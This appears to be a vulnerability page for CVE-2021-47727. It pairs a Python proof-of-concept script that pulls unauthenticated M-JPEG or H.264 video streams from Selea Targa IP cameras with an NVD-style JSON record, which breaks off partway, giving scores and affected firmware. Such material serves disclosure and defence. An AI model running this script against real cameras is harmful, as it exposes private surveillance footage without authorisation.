CVE-2021-47727

# CVE-2021-47727 PoC - Selea Targa IP Camera Unauthenticated Video Stream Access # Usage: python cve-2021-47727.py <target_ip> <port> import socket import sys def exploit(target_ip, port=80): """Exploit CVE-2021-47727 to access video stream without authentication""" # HTTP GET request for M-JPEG stream mjpg_request = f"GET /p1.mjpg HTTP/1.1\r\n" mjpg_request += f"Host: {target_ip}:{port}\r\n" mjpg_request += "User-Agent: Mozilla/5.0\r\n" mjpg_request += "Accept: */*\r\n" mjpg_request += "Connection: keep-alive\r\n\r\n" # Alternative: HTTP GET request for H.264 stream h264_request = f"GET /p1.264 HTTP/1.1\r\n" h264_request += f"Host: {target_ip}:{port}\r\n" h264_request += "User-Agent: Mozilla/5.0\r\n" h264_request += "Accept: */*\r\n" h264_request += "Connection: keep-alive\r\n\r\n" print(f"[*] Targeting Selea Targa Camera at {target_ip}:{port}") print("[*] Attempting to access M-JPEG stream...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) sock.send(mjpg_request.encode()) response = sock.recv(4096) if b"HTTP/1.1 200" in response or b"Content-Type:" in response: print("[+] SUCCESS: Video stream accessible without authentication!") print(f"[+] Response preview: {response[:200]}") return True else: print("[-] Failed to access stream") return False except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

{"cve": {"id": "CVE-2021-47727", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:15:51.083", "lastModified": "2026-02-23T19:02:06.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Selea Targa IP OCR-ANPR Camera contains an unauthenticated vulnerability that allows remote attackers to access live video streams without authentication. Attackers can directly connect to RTP/RTSP or M-JPEG streams by requesting specific endpoints like p1.mjpg or p1.264 to view camera footage."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:izero_box_full_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "3BC5F782-F358-4E13-88CD-8AF6F631D136"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:izero_box_full:-:*:*:*:*:*:*:*", "matchCriteriaId": "8736E8B4-238F-4BB9-900A-44D34AEEA244"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:izero_column_entry\\/8_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A73F7A2-DCD9-42F1-93AE-147703747B9E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:izero_column_entry\\/8:-:*:*:*:*:*:*:*", "matchCriteriaId": "003FFAA4-87FC-4CA1-B0F7-A4DC1FD8F6AE"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:izero_column_full\\/8_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "992C33A2-04E4-481D-A336-3850D0A823EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:izero_column_full\\/8:-:*:*:*:*:*:*:*", "matchCriteriaId": "0F62AF0A-B754-4DCF-A6B1-34DCEB11B090"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:targa_504_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "55482174-E8FD-4003-BABE-A195484C79F9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:targa_504:-:*:*:*:*:*:*:*", "matchCriteriaId": "8FB2771E-91E8-45C7-9EB2-D84B46F6802D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:targa_512_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "4C4451B5-C9EB-4A7E-8D9A-6F5AA66F43BA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:targa_512:-:*:*:*:*:*:*:*", "matchCriteriaId": "22626DE4-BB35-49C9-803B-29B6E017CA02"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria ... (truncated)